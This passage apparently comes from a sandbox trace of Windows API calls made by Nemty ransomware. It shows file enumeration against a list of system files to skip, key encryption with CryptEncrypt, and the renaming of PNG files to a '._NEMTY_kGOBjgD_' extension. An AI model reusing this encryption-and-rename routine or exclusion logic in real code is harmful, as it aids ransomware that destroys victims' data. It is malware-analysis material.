lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.548] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.548] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.548] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.558] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.558] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.558] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.558] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.567] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.567] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.567] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.567] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.577] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.577] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.577] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.577] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.586] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.586] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.586] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.586] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.596] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.596] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.596] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.596] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.605] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.606] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.606] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.606] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.615] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.615] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.615] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.615] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.621] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.621] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.621] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.621] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.627] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.627] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.627] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.627] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340220, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0065.627] CloseHandle (hObject=0xffffffff) returned 0 [0065.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340390 [0065.627] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0065.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0065.627] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0065.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0065.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0065.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340438 [0065.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63404e0 [0065.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340438 | out: hHeap=0x4f90000) returned 1 [0065.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0065.627] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png._nemty_kgobjgd_")) returned 0 [0065.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e0 | out: hHeap=0x4f90000) returned 1 [0065.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340390 | out: hHeap=0x4f90000) returned 1 [0065.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0065.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340220 | out: hHeap=0x4f90000) returned 1 [0065.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0065.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0065.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0065.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0065.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0065.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0065.628] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c1490f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c1490f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="blackbars60.png", cAlternateFileName="")) returned 1 [0065.628] lstrcmpiW (lpString1="blackbars60.png", lpString2=".") returned 1 [0065.628] lstrcmpiW (lpString1="blackbars60.png", lpString2="..") returned 1 [0065.628] lstrcmpiW (lpString1="blackbars60.png", lpString2="...") returned 1 [0065.628] lstrcmpiW (lpString1="blackbars60.png", lpString2="windows") returned -1 [0065.628] lstrcmpiW (lpString1="blackbars60.png", lpString2="$RECYCLE.BIN") returned 1 [0065.628] lstrcmpiW (lpString1="blackbars60.png", lpString2="rsa") returned -1 [0065.628] lstrcmpiW (lpString1="blackbars60.png", lpString2="NTDETECT.COM") returned -1 [0065.628] lstrcmpiW (lpString1="blackbars60.png", lpString2="ntldr") returned -1 [0065.628] lstrcmpiW (lpString1="blackbars60.png", lpString2="MSDOS.SYS") returned -1 [0065.628] lstrcmpiW (lpString1="blackbars60.png", lpString2="IO.SYS") returned -1 [0065.628] lstrcmpiW (lpString1="blackbars60.png", lpString2="boot.ini") returned -1 [0065.628] lstrcmpiW (lpString1="blackbars60.png", lpString2="boot.ini") returned -1 [0065.628] lstrcmpiW (lpString1="blackbars60.png", lpString2="AUTOEXEC.BAT") returned 1 [0065.628] lstrcmpiW (lpString1="blackbars60.png", lpString2="ntuser.dat") returned -1 [0065.628] lstrcmpiW (lpString1="blackbars60.png", lpString2="desktop.ini") returned -1 [0065.628] lstrcmpiW (lpString1="blackbars60.png", lpString2="CONFIG.SYS") returned -1 [0065.628] lstrcmpiW (lpString1="blackbars60.png", lpString2="RECYCLER") returned -1 [0065.628] lstrcmpiW (lpString1="blackbars60.png", lpString2="BOOTSECT.BAK") returned -1 [0065.628] lstrcmpiW (lpString1="blackbars60.png", lpString2="bootmgr") returned -1 [0065.628] lstrcmpiW (lpString1="blackbars60.png", lpString2="programdata") returned -1 [0065.628] lstrcmpiW (lpString1="blackbars60.png", lpString2="appdata") returned 1 [0065.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0065.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="blackbars60.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0065.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="blackbars60.png", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blackbars60.png", lpUsedDefaultChar=0x0) returned 15 [0065.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0065.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="blackbars60.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0065.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="blackbars60.png", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blackbars60.png", lpUsedDefaultChar=0x0) returned 15 [0065.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0065.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0065.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0065.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="blackbars60.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0065.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="blackbars60.png", cchWideChar=15, lpMultiByteStr=0x653ec20, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blackbars60.png", lpUsedDefaultChar=0x0) returned 15 [0065.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0065.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0065.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="blackbars60.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0065.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="blackbars60.png", cchWideChar=15, lpMultiByteStr=0x653ec58, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blackbars60.png", lpUsedDefaultChar=0x0) returned 15 [0065.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0065.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0065.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340178 | out: hHeap=0x4f90000) returned 1 [0065.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0065.629] Sleep (dwMilliseconds=0x5) [0065.642] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdac5deb0, dwHighDateTime=0x1d561e7)) [0065.642] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdac5deb0, dwHighDateTime=0x1d561e7)) [0065.642] GetLastError () returned 0x5 [0065.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0065.643] GetLastError () returned 0x5 [0065.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0065.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0065.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0065.643] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0065.643] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0065.643] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0065.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0065.643] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e91c | out: pszString="NMfaiwvUsXFjBD/ZRID2m29dZZFxEj13b4nmNLzGKg/4G0mSjNFM6MYxTSDmMDp1\r\nrCSLpmPDJjDmXMfgoJD9moHSE38uwXb5URASPYq212/vYY6X+TzTvRSI3XvlS7C0\r\nLSY8S07uM3Lur/DdssmVuwfjYUvNzmcZkuBWJZPaQxjp6iir2fjS42s/oFZDuxIy\r\n5MbbWN5QqYJJp+Vxbo4F9N8bSxYnAKdqChr8Olze1h+stJRnZti5PZQo4QYLiz1a\r\nGt4VzaHc+G9ro+ejOVYr2EPmf3B+dPD6zeDHOjgWlryutGCBx2ZKeKV4yeLx3Ssd\r\n8tJ9HfL5IGcY6J2wWJPnag==\r\n", pcchString=0x653e91c) returned 1 [0065.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0065.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0065.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0065.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0065.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0065.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0065.643] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0065.643] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0065.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0065.643] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.643] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.653] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.653] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.653] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.653] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.662] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.662] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.662] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.662] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.671] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.672] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.672] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.672] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.690] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.690] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.690] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.690] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.699] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.699] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.699] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.699] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.708] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.709] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.709] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.709] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, 